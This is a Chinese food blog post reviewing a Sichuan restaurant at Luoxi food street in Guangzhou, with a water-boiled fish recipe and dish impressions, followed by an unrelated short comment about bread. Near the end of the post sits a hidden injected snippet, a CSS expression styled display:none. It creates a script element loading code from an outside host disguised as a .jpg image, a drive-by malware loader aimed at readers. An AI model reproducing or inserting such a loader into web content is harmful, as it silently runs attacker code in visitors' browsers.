Ray007
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在广州，川菜馆不少，但要找出一家正宗的来，似乎很难。不说别的，就说那水煮鱼，正真能够做出川味来的，就不那么容易。严格来说，不是不容易，而是店家懒。
水煮鱼 水煮鱼是由水煮（牛）肉演变而来，鱼片用盐、料酒、生粉和蛋白等腌制后，要用郫县豆瓣打底的汤汁来煮，具体做法是，起锅热油（有要比普通菜多3倍），放入郫县豆瓣爆香，加入姜、蒜、葱、花椒粒、辣椒粉及干红辣椒，中火煸炒，出味后（加入头尾及鱼排）转大火，炒匀，加料酒和酱油、胡椒粉、白糖，继续翻炒片刻后，加一些热水，同时放盐和味精调味，待水开了，将鱼片一片片放入，煮3~5分钟关火；把煮好的鱼及全部汤汁倒入，装有已焯熟豆芽的大盆中；另起锅，倒入油（约半斤），待油热后，关火，然后加入花椒及干辣椒（量要大），用小火慢慢炒出花椒和辣椒的香味，待辣椒快变颜色时，立即关火，把锅中的油及花椒辣椒，一起倒入盛了鱼片的大盆中。一锅水煮鱼就大功告成。 包牛肉 含香骨 上汤豆苗 广州绝大部分的川菜馆，不用郫县豆瓣，直接用水或油，焯熟鱼片，令川味大打折扣。 红灯笼水煮鱼，够正宗 烧烤档的羊肉串 烧烤档的炭烧生蚝 位于洛溪食街的红灯笼川菜馆，水煮鱼做的很正宗，鱼片滑而嫩，鲜中带咸，咸中有辣；汤汁够红，够辣，够麻。虽吃得满头大汗，却是爽极了！ 红灯笼川菜馆 内部环境 这天，与好吃之人深尼、燕燕，相约到洛溪食街的红灯笼，品尝那里的正宗川菜。 除了水煮鱼之外，店家的招牌菜，含香骨和包牛肉，老铁各点了一例。 含香骨 含香骨，用的是猪寸骨（即猪大腿里的一条细骨），那部位的肉质很嫩滑。这个菜特别之处，在于它先用小火焖，再用大火炒，成菜后，味厚且浓，肉嫩滑而不肥腻。犹如店家所宣传的那样：十指纤纤擒骨，红袖飘飘添香。 这是什么？ 打开看看 哦，原来是包牛肉 包牛肉，则又花鸡演变而来，所不同的是，用锡纸代替了泥巴，包裹腌制好的牛肉，烘烤而成，由于锡纸的包裹，使得牛肉鲜嫩可口，香气十足。不过，那天的师傅，把握火候不好，以至牛肉变老了，难嚼！ 上汤豆苗 青菜要的是上汤豆苗。 炭烧生蚝 烤羊肉串 老铁等，都是好酒的人，吃辣的，更是离不开酒，就一人要了一瓶啤酒。喝着酒，见外面有烧烤档，就顺便要了半打烧生蚝和一打羊肉串，做下酒菜，惬意！ 说实在的，老铁怎么都想不到，在洛溪食街，竟然可以吃到正宗的水煮鱼，而且，还是一家大排档，真是“人不可以貌相”！ 哪位想吃川菜的话，老铁建议各位，不妨洛溪食街的红灯笼试一试！ ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" 阅读全文>> |
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例子面包 >. 我最喜欢例子面包！ 为什么怎么这么好吃？ 面包里很多小小例子 我在中国里找不到卖的地方在哪儿？告诉我！ 给我牛奶!!! |
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